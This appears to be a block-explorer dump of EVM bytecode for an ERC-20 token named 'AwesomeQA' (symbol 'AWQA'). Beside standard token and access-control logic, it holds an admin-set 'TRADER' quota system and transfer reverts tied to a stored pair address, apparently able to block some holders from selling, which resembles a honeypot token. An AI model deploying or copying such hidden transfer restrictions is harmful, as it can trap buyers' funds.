ffffffffffffffffffffffffffffffff16036200032f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401620003269062000eab565b60405180910390fd5b62000343600083836200052760201b60201c565b806006600082825462000357919062000ecd565b9250508190555080600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254620003af919062000ecd565b925050819055508173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405162000416919062000f19565b60405180910390a362000432600083836200052c60201b60201c565b5050565b6200044882826200053160201b60201c565b6200052357600160008084815260200190815260200160002060000160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550620004c86200059b60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16837f2f8788117e7eff1d82e926ec794901d17c78024a50270940304540a733656f0d60405160405180910390a45b5050565b505050565b505050565b600080600084815260200190815260200160002060000160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16905092915050565b600033905090565b6000604051905090565b600080fd5b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6200060c82620005c1565b810181811067ffffffffffffffff821117156200062e576200062d620005d2565b5b80604052505050565b600062000643620005a3565b905062000651828262000601565b919050565b600067ffffffffffffffff821115620006745762000673620005d2565b5b6200067f82620005c1565b9050602081019050919050565b60005b83811015620006ac5780820151818401526020810190506200068f565b60008484015250505050565b6000620006cf620006c98462000656565b62000637565b905082815260208101848484011115620006ee57620006ed620005bc565b5b620006fb8482856200068c565b509392505050565b600082601f8301126200071b576200071a620005b7565b5b81516200072d848260208601620006b8565b91505092915050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000620007638262000736565b9050919050565b620007758162000756565b81146200078157600080fd5b50565b60008151905062000795816200076a565b92915050565b6000819050919050565b620007b0816200079b565b8114620007bc57600080fd5b50565b600081519050620007d081620007a5565b92915050565b60008060008060808587031215620007f357620007f2620005ad565b5b600085015167ffffffffffffffff811115620008145762000813620005b2565b5b620008228782880162000703565b9450506020620008358782880162000784565b935050604085015167ffffffffffffffff811115620008595762000858620005b2565b5b620008678782880162000703565b92505060606200087a87828801620007bf565b91505092959194509250565b600081519050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b60006002820490506001821680620008d957607f821691505b602082108103620008ef57620008ee62000891565b5b50919050565b60008190508160005260206000209050919050565b60006020601f8301049050919050565b600082821b905092915050565b600060088302620009597fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff826200091a565b6200096586836200091a565b95508019841693508086168417925050509392505050565b6000819050919050565b6000620009a8620009a26200099c846200079b565b6200097d565b6200079b565b9050919050565b6000819050919050565b620009c48362000987565b620009dc620009d382620009af565b84845462000927565b825550505050565b600090565b620009f3620009e4565b62000a00818484620009b9565b505050565b5b8181101562000a285762000a1c600082620009e9565b60018101905062000a06565b5050565b601f82111562000a775762000a4181620008f5565b62000a4c846200090a565b8101602085101562000a5c578190505b62000a7462000a6b856200090a565b83018262000a05565b50505b505050565b600082821c905092915050565b600062000a9c6000198460080262000a7c565b1980831691505092915050565b600062000ab7838362000a89565b9150826002028217905092915050565b62000ad28262000886565b67ffffffffffffffff81111562000aee5762000aed620005d2565b5b62000afa8254620008c0565b62000b0782828562000a2c565b600060209050601f83116001811462000b3f576000841562000b2a578287015190505b62000b36858262000aa9565b86555062000ba6565b601f19841662000b4f86620008f5565b60005b8281101562000b795784890151825560018201915060208501945060208101905062000b52565b8683101562000b99578489015162000b95601f89168262000a89565b8355505b6001600288020188555050505b505050505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60008160011c9050919050565b6000808291508390505b600185111562000c3c5780860481111562000c145762000c1362000bae565b5b600185161562000c245780820291505b808102905062000c348562000bdd565b945062000bf4565b94509492505050565b60008262000c57576001905062000d2a565b8162000c67576000905062000d2a565b816001811462000c80576002811462000c8b5762000cc1565b600191505062000d2a565b60ff84111562000ca05762000c9f62000bae565b5b8360020a91508482111562000cba5762000cb962000bae565b5b5062000d2a565b5060208310610133831016604e8410600b841016171562000cfb5782820a90508381111562000cf55762000cf462000bae565b5b62000d2a565b62000d0a848484600162000bea565b9250905081840481111562000d245762000d2362000bae565b5b81810290505b9392505050565b600060ff82169050919050565b600062000d4b826200079b565b915062000d588362000d31565b925062000d877fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff848462000c45565b905092915050565b600062000d9c826200079b565b915062000da9836200079b565b925082820262000db9816200079b565b9150828204841483151762000dd35762000dd262000bae565b5b5092915050565b60006020828403121562000df35762000df2620005ad565b5b600062000e038482850162000784565b91505092915050565b62000e178162000756565b82525050565b600060408201905062000e34600083018562000e0c565b62000e43602083018462000e0c565b9392505050565b600082825260208201905092915050565b7f45524332303a206d696e7420746f20746865207a65726f206164647265737300600082015250565b600062000e93601f8362000e4a565b915062000ea08262000e5b565b602082019050919050565b6000602082019050818103600083015262000ec68162000e84565b9050919050565b600062000eda826200079b565b915062000ee7836200079b565b925082820190508082111562000f025762000f0162000bae565b5b92915050565b62000f13816200079b565b82525050565b600060208201905062000f30600083018462000f08565b92915050565b6131328062000f466000396000f3fe608060405234801561001057600080fd5b506004361061018e5760003560e01c80634dfa6ae2116100de578063a457c2d711610097578063db92b75d11610071578063db92b75d146104d1578063dd62ed3e146104ed578063e57be8a31461051d578063f200e9d21461054d5761018e565b8063a457c2d714610455578063a9059cbb14610485578063d547741f146104b55761018e565b80634dfa6ae21461036d5780635fe1484b1461039d57806370a08231146103b95780638b98b92a146103e957806391d148541461040757806395d89b41146104375761018e565b8063248a9ca31161014b578063313ce56711610125578063313ce567146102d357806333f3d628146102f157806336568abe14610321578063395093511461033d5761018e565b8063248a9ca3146102695780632a0acc6a146102995780632f2ff15d146102b75761018e565b806306fdde0314610193578063095ea7b3146101b157806312c95871146101e1578063175c4ef8146101fd57806318160ddd1461021b57806323b872dd14610239575b600080fd5b61019b610569565b6040516101a891906120dc565b60405180910390f35b6101cb60048036038101906101c691906121a6565b6105fb565b6040516101d89190612201565b60405180910390f35b6101fb60048036038101906101f69190612351565b610619565b005b610205610710565b60405161021291906123c6565b60405180910390f35b610223610734565b60405161023091906123f0565b60405180910390f35b610253600480360381019061024e919061240b565b61073e565b6040516102609190612201565b60405180910390f35b610283600480360381019061027e919061248a565b610836565b60405161029091906123c6565b60405180910390f35b6102a1610855565b6040516102ae91906123c6565b60405180910390f35b6102d160048036038101906102cc91906124b7565b61085c565b005b6102db610880565b6040516102e89190612513565b60405180910390f35b61030b600480360381019061030691906121a6565b610889565b6040516103189190612201565b60405180910390f35b61033b600480360381019061033691906124b7565b610927565b005b610357600480360381019061035291906121a6565b6109c0565b6040516103649190612201565b60405180910390f35b610387600480360381019061038291906124b7565b610a6c565b60405161039491906123f0565b60405180910390f35b6103b760048036038101906103b2919061252e565b610ae6565b005b6103d360048036038101906103ce919061252e565b610b57565b6040516103e091906123f0565b60405180910390f35b6103f1610ba0565b6040516103fe91906123f0565b60405180910390f35b610421600480360381019061041c91906124b7565b610ba6565b60405161042e9190612201565b60405180910390f35b61043f610c10565b60405161044c91906120dc565b60405180910390f35b61046f600480360381019061046a91906121a6565b610ca2565b60405161047c9190612201565b60405180910390f35b61049f600480360381019061049a91906121a6565b610d8d565b6040516104ac9190612201565b60405180910390f35b6104cf60048036038101906104ca91906124b7565b610dab565b005b6104eb60048036038101906104e6919061252e565b610dcf565b005b6105076004803603810190610502919061255b565b610e3f565b60405161051491906123f0565b60405180910390f35b610537600480360381019061053291906124b7565b610ec6565b60405161054491906123f0565b60405180910390f35b6105676004803603810190610562919061259b565b610f40565b005b606060078054610578906125f7565b80601f01602080910402602001604051908101604052809291908181526020018280546105a4906125f7565b80156105f15780601f106105c6576101008083540402835291602001916105f1565b820191906000526020600020905b8154815290600101906020018083116105d457829003601f168201915b5050505050905090565b600061060f610608610f60565b8484610f68565b6001905092915050565b6000801b61062e81610629610f60565b611131565b60008061063a846111ce565b80925081935050506000151581151503610689576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106809061269a565b60405180910390fd5b60008211156106dc576106d77f5452414445520000000000000000000000000000000000000000000000000000866106d2670de0b6b3a7640000866112e990919063ffffffff16565b6112ff565b610709565b6107087f54524144455200000000000000000000000000000000000000000000000000008660006112ff565b5b5050505050565b7f545241444552000000000000000000000000000000000000000000000000000081565b6000600654905090565b600061074b84848461135e565b6000600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610796610f60565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905082811015610816576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161080d9061272c565b60405180910390fd5b61082a85610822610f60565b858403610f68565b60019150509392505050565b6000806000838152602001908152602001600020600101549050919050565b6000801b81565b6000801b6108718161086c610f60565b611131565b61087b838361160c565b505050565b60006012905090565b60008060001b6108a08161089b610f60565b611131565b8373ffffffffffffffffffffffffffffffffffffffff1663a9059cbb33856040518363ffffffff1660e01b81526004016108db92919061275b565b6020604051808303816000875af11580156108fa573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061091e91906127b0565b91505092915050565b6000801b61093c81610937610f60565b611131565b610944610f60565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16146109b1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109a89061284f565b60405180910390fd5b6109bb83836116ec565b505050565b6000610a626109cd610f60565b8484600560006109db610f60565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610a5d919061289e565b610f68565b6001905092915050565b6000610ade670de0b6b3a764000060008086815260200190815260200160002060020160010160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546117cd90919063ffffffff16565b905092915050565b6000801b610afb81610af6610f60565b611131565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b6000600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60035481565b600080600084815260200190815260200160002060000160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16905092915050565b606060088054610c1f906125f7565b80601f0160208091040260200160405190810160405280929190818152602001828054610c4b906125f7565b8015610c985780601f10610c6d57610100808354040283529160200191610c98565b820191906000526020600020905b815481529060010190602001808311610c7b57829003601f168201915b5050505050905090565b60008060056000610cb1610f60565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905082811015610d6e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d6590612944565b60405180910390fd5b610d82610d79610f60565b85858403610f68565b600191505092915050565b6000610da1610d9a610f60565b848461135e565b6001905092915050565b6000801b610dc081610dbb610f60565b611131565b610dca83836116ec565b505050565b6000801b610de481610ddf610f60565b611131565b60018060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b6000600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6000610f38670de0b6b3a764000060008086815260200190815260200160002060020160000160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546117cd90919063ffffffff16565b905092915050565b6000801b610f5581610f50610f60565b611131565b816003819055505050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610fd7576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fce906129d6565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611046576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161103d90612a68565b60405180910390fd5b80600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161112491906123f0565b60405180910390a3505050565b61113b8282610ba6565b6111ca576111608173ffffffffffffffffffffffffffffffffffffffff1660146117e3565b61116e8360001c60206117e3565b60405160200161117f929190612b5c565b6040516020818303038152906040526040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111c191906120dc565b60405180910390fd5b5050565b60008060005b83518110156112db57600060308583815181106111f4576111f3612b96565b5b602001015160f81c60f81b60f81c61120c9190612bc5565b60ff16108061124a57506009603085838151811061122d5761122c612b96565b5b602001015160f81c60f81b60f81c6112459190612bc5565b60ff16115b1561125c5760008092509250506112e4565b600181855161126b9190612bfa565b6112759190612bfa565b600a6112819190612d61565b603085838151811061129657611295612b96565b5b602001015160f81c60f81b60f81c6112ae9190612bc5565b60ff166112bb9190612dac565b836112c6919061289e565b925080806112d390612dee565b9150506111d4565b50816001915091505b915091565b600081836112f79190612dac565b905092915050565b8060008085815260200190815260200160002060020160000160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036113cd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113c490612ea8565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff160361143c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161143390612f3a565b60405180910390fd5b6114687f5452414445520000000000000000000000000000000000000000000000000000848484611a1f565b611473838383611c0b565b6000600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050818110156114fa576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114f190612fcc565b60405180910390fd5b818103600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555081600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825461158f919061289e565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516115f391906123f0565b60405180910390a3611606848484611c10565b50505050565b6116168282610ba6565b6116e857600160008084815260200190815260200160002060000160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555061168d610f60565b73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16837f2f8788117e7eff1d82e926ec794901d17c78024a50270940304540a733656f0d60405160405180910390a45b5050565b6116f68282610ba6565b156117c957600080600084815260200190815260200160002060000160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555061176e610f60565b73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16837ff6391f5c32d9c69d2a47ea670b442974b53935d1edc7fd64eb21e047a839171b60405160405180910390a45b5050565b600081836117db919061301b565b905092915050565b6060600060028360026117f69190612dac565b611800919061289e565b67ffffffffffffffff81111561181957611818612226565b5b6040519080825280601f01601f19166020018201604052801561184b5781602001600182028036833780820191505090505b5090507f30000000000000000000000000000000000000000000000000000000000000008160008151811061188357611882612b96565b5b60200101907effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916908160001a9053507f7800000000000000000000000000000000000000000000000000000000000000816001815181106118e7576118e6612b96565b5b60200101907effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916908160001a905350600060018460026119279190612dac565b611931919061289e565b90505b60018111156119d1577f3031323334353637383961626364656600000000000000000000000000000000600f86166010811061197357611972612b96565b5b1a60f81b82828151811061198a57611989612b96565b5b60200101907effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916908160001a905350600485901c9450806119ca9061304c565b9050611934565b5060008414611a15576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a0c906130c1565b60405180910390fd5b8091505092915050565b60001515600960008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151503611afa57611aa17f54524144455200000000000000000000000000000000000000000000000000008461160c565b6001600960008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b60001515600960008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151503611bd557611b7c7f54524144455200000000000000000000000000000000000000000000000000008361160c565b6001600960008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b611be184848484611c15565b6000611bed8585611ce9565b90506000811115611c0457611c03858584611d49565b5b5050505050565b505050565b505050565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611c7557611c748382611e12565b5b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16148015611cd457506032600354145b15611ce357611ce282611eb4565b5b50505050565b600080600084815260200190815260200160002060020160000160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6000611d558484611ce9565b90506000811115611e0c576000611d7e83611d708787611f54565b611fb490919063ffffffff16565b9050600083118015611d905750818110155b15611dfe577f54524144455200000000000000000000000000000000000000000000000000008503611df957836040517f96c6fd1e000000000000000000000000000000000000000000000000000000008152600401611df091906130e1565b60405180910390fd5b611e0a565b611e09858583611fca565b5b505b50505050565b600081118015611e2457506063600354115b15611eb0576000611e6782611e597f545241444552000000000000000000000000000000000000000000000000000086611ce9565b6117cd90919063ffffffff16565b905060008111611eae57826040517f96c6fd1e000000000000000000000000000000000000000000000000000000008152600401611ea591906130e1565b60405180910390fd5b505b5050565b611ebd81612029565b15611f5157600160008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16611f5057806040517f96c6fd1e000000000000000000000000000000000000000000000000000000008152600401611f4791906130e1565b60405180910390fd5b5b50565b600080600084815260200190815260200160002060020160010160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b60008183611fc2919061289e565b905092915050565b8060008085815260200190815260200160002060020160010160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b6000808273ffffffffffffffffffffffffffffffffffffffff163b119050919050565b600081519050919050565b600082825260208201905092915050565b60005b8381101561208657808201518184015260208101905061206b565b60008484015250505050565b6000601f19601f8301169050919050565b60006120ae8261204c565b6120b88185612057565b93506120c8818560208601612068565b6120d181612092565b840191505092915050565b600060208201905081810360008301526120f681846120a3565b905092915050565b6000604051905090565b600080fd5b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b600061213d82612112565b9050919050565b61214d81612132565b811461215857600080fd5b50565b60008135905061216a81612144565b92915050565b6000819050919050565b61218381612170565b811461218e57600080fd5b50565b6000813590506121a08161217a565b92915050565b600080604083850312156121bd576121bc612108565b5b60006121cb8582860161215b565b92505060206121dc85828601612191565b9150509250929050565b60008115159050919050565b6121fb816121e6565b82525050565b600060208201905061221660008301846121f2565b92915050565b600080fd5b600080fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b61225e82612092565b810181811067ffffffffffffffff8211171561227d5761227c612226565b5b80604052505050565b60006122906120fe565b905061229c8282612255565b919050565b600067ffffffffffffffff8211156122bc576122bb612226565b5b6122c582612092565b9050602081019050919050565b82818337600083830152505050565b60006122f46122ef846122a1565b612286565b9050828152602081018484840111156123105761230f612221565b5b61231b8482856122d2565b509392505050565b600082601f8301126123385761233761221c565b5b81356123488482602086016122e1565b91505092915050565b6000806040838503121561236857612367612108565b5b60006123768582860161215b565b925050602083013567ffffffffffffffff8111156123975761239661210d565b5b6123a385828601612323565b9150509250929050565b6000819050919050565b6123c0816123ad565b82525050565b60006020820190506123db60008301846123b7565b92915050565b6123ea81612170565b82525050565b600060208201905061240560008301846123e1565b92915050565b60008060006060848603121561242457612423612108565b5b60006124328682870161215b565b93505060206124438682870161215b565b925050604061245486828701612191565b9150509250925092565b612467816123ad565b811461247257600080fd5b50565b6000813590506124848161245e565b92915050565b6000602082840312156124a05761249f612108565b5b60006124ae84828501612475565b91505092915050565b600080604083850312156124ce576124cd612108565b5b60006124dc85828601612475565b92505060206124ed8582860161215b565b9150509250929050565b600060ff82169050919050565b61250d816124f7565b82525050565b60006020820190506125286000830184612504565b92915050565b60006020828403121561254457612543612108565b5b60006125528482850161215b565b91505092915050565b6000806040838503121561257257612571612108565b5b60006125808582860161215b565b92505060206125918582860161215b565b9150509250929050565b6000602082840312156125b1576125b0612108565b5b60006125bf84828501612191565b91505092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000600282049050600182168061260f57607f821691505b602082108103612622576126216125c8565b5b50919050565b7f416363657373436f6e74726f6c3a206d656d6f206973206e6f742061206e756d60008201527f6265720000000000000000000000000000000000000000000000000000000000602082015250565b6000612684602383612057565b915061268f82612628565b604082019050919050565b600060208201905081810360008301526126b381612677565b9050919050565b7f45524332303a207472616e7366657220616d74206578636565647320616c6c6f60008201527f77616e6365000000000000000000000000000000000000000000000000000000602082015250565b6000612716602583612057565b9150612721826126ba565b604082019050919050565b6000602082019050818103600083015261274581612709565b9050919050565b61275581612132565b82525050565b6000604082019050612770600083018561274c565b61277d60208301846123e1565b9392505050565b61278d816121e6565b811461279857600080fd5b50565b6000815190506127aa81612784565b92915050565b6000602082840312156127c6576127c5612108565b5b60006127d48482850161279b565b91505092915050565b7f416363657373436f6e74726f6c3a2063616e206f6e6c792072656e6f756e636560008201527f20726f6c657320666f722073656c660000000000000000000000000000000000602082015250565b6000612839602f83612057565b9150612844826127dd565b604082019050919050565b600060208201905081810360008301526128688161282c565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60006128a982612170565b91506128b483612170565b92508282019050808211156128cc576128cb61286f565b5b92915050565b7f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f7760008201527f207a65726f000000000000000000000000000000000000000000000000000000602082015250565b600061292e602583612057565b9150612939826128d2565b604082019050919050565b6000602082019050818103600083015261295d81612921565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b60006129c0602483612057565b91506129cb82612964565b604082019050919050565b600060208201905081810360008301526129ef816129b3565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b6000612a52602283612057565b9150612a5d826129f6565b604082019050919050565b60006020820190508181036000830152612a8181612a45565b9050919050565b600081905092915050565b7f416363657373436f6e74726f6c3a206163636f756e7420000000000000000000600082015250565b6000612ac9601783612a88565b9150612ad482612a93565b601782019050919050565b6000612aea8261204c565b612af48185612a88565b9350612b04818560208601612068565b80840191505092915050565b7f206973206d697373696e6720726f6c6520000000000000000000000000000000600082015250565b6000612b46601183612a88565b9150612b5182612b10565b601182019050919050565b6000612b6782612abc565b9150612b738285612adf565b9150612b7e82612b39565b9150612b8a8284612adf565b91508190509392505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b6000612bd0826124f7565b9150612bdb836124f7565b9250828203905060ff811115612bf457612bf361286f565b5b92915050565b6000612c0582612170565b9150612c1083612170565b9250828203905081811115612c2857612c2761286f565b5b92915050565b60008160011c9050919050565b6000808291508390505b6001851115612c8557808604811115612c6157612c6061286f565b5b6001851615612c705780820291505b8081029050612c7e85612c2e565b9450612c45565b94509492505050565b600082612c9e5760019050612d5a565b81612cac5760009050612d5a565b8160018114612cc25760028114612ccc57612cfb565b6001915050612d5a565b60ff841115612cde57612cdd61286f565b5b8360020a915084821115612cf557612cf461286f565b5b50612d5a565b5060208310610133831016604e8410600b8410161715612d305782820a905083811115612d2b57612d2a61286f565b5b612d5a565b612d3d8484846001612c3b565b92509050818404811115612d5457612d5361286f565b5b81810290505b9392505050565b6000612d6c82612170565b9150612d7783612170565b9250612da47fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8484612c8e565b905092915050565b6000612db782612170565b9150612dc283612170565b9250828202612dd081612170565b91508282048414831517612de757612de661286f565b5b5092915050565b6000612df982612170565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8203612e2b57612e2a61286f565b5b600182019050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b6000612e92602583612057565b9150612e9d82612e36565b604082019050919050565b60006020820190508181036000830152612ec181612e85565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b6000612f24602383612057565b9150612f2f82612ec8565b604082019050919050565b60006020820190508181036000830152612f5381612f17565b9050919050565b7f45524332303a207472616e7366657220616d7420657863656564732062616c6160008201527f6e63650000000000000000000000000000000000000000000000000000000000602082015250565b6000612fb6602383612057565b9150612fc182612f5a565b604082019050919050565b60006020820190508181036000830152612fe581612fa9565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b600061302682612170565b915061303183612170565b92508261304157613040612fec565b5b828204905092915050565b600061305782612170565b91506000820361306a5761306961286f565b5b600182039050919050565b7f537472696e67733a20686578206c656e67746820696e73756666696369656e74600082015250565b60006130ab602083612057565b91506130b682613075565b602082019050919050565b600060208201905081810360008301526130da8161309e565b9050919050565b60006020820190506130f6600083018461274c565b9291505056fea2646970667358221220d5a6a061b2efc68e1430c74cbae963ea248bbd313fb5b52d4c444317ba727a4364736f6c6343000811003300000000000000000000000000000000000000000000000000000000000000800000000000000000000000004263e6e1f3a16f70079d4e5ac5a466e901125eb500000000000000000000000000000000000000000000000000000000000000c00000000000000000000000000000000000000000000000000000000005f5e1000000000000000000000000000000000000000000000000000000000000000009417765736f6d655141000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000044157514100000000000000000000000000000000000000000000000000000000

Deployed Bytecode

0x608060405234801561001057600080fd5b506004361061018e5760003560e01c80634dfa6ae2116100de578063a457c2d711610097578063db92b75d11610071578063db92b75d146104d1578063dd62ed3e146104ed578063e57be8a31461051d578063f200e9d21461054d5761018e565b8063a457c2d714610455578063a9059cbb14610485578063d547741f146104b55761018e565b80634dfa6ae21461036d5780635fe1484b1461039d57806370a08231146103b95780638b98b92a146103e957806391d148541461040757806395d89b41146104375761018e565b8063248a9ca31161014b578063313ce56711610125578063313ce567146102d357806333f3d628146102f157806336568abe14610321578063395093511461033d5761018e565b8063248a9ca3146102695780632a0acc6a146102995780632f2ff15d146102b75761018e565b806306fdde0314610193578063095ea7b3146101b157806312c95871146101e1578063175c4ef8146101fd57806318160ddd1461021b57806323b872dd14610239575b600080fd5b61019b610569565b6040516101a891906120dc565b60405180910390f35b6101cb60048036038101906101c691906121a6565b6105fb565b6040516101d89190612201565b60405180910390f35b6101fb60048036038101906101f69190612351565b610619565b005b610205610710565b60405161021291906123c6565b60405180910390f35b610223610734565b60405161023091906123f0565b60405180910390f35b610253600480360381019061024e919061240b565b61073e565b6040516102609190612201565b60405180910390f35b610283600480360381019061027e919061248a565b610836565b60405161029091906123c6565b60405180910390f35b6102a1610855565b6040516102ae91906123c6565b60405180910390f35b6102d160048036038101906102cc91906124b7565b61085c565b005b6102db610880565b6040516102e89190612513565b60405180910390f35b61030b600480360381019061030691906121a6565b610889565b6040516103189190612201565b60405180910390f35b61033b600480360381019061033691906124b7565b610927565b005b610357600480360381019061035291906121a6565b6109c0565b6040516103649190612201565b60405180910390f35b610387600480360381019061038291906124b7565b610a6c565b60405161039491906123f0565b60405180910390f35b6103b760048036038101906103b2919061252e565b610ae6565b005b6103d360048036038101906103ce919061252e565b610b57565b6040516103e091906123f0565b60405180910390f35b6103f1610ba0565b6040516103fe91906123f0565b60405180910390f35b610421600480360381019061041c91906124b7565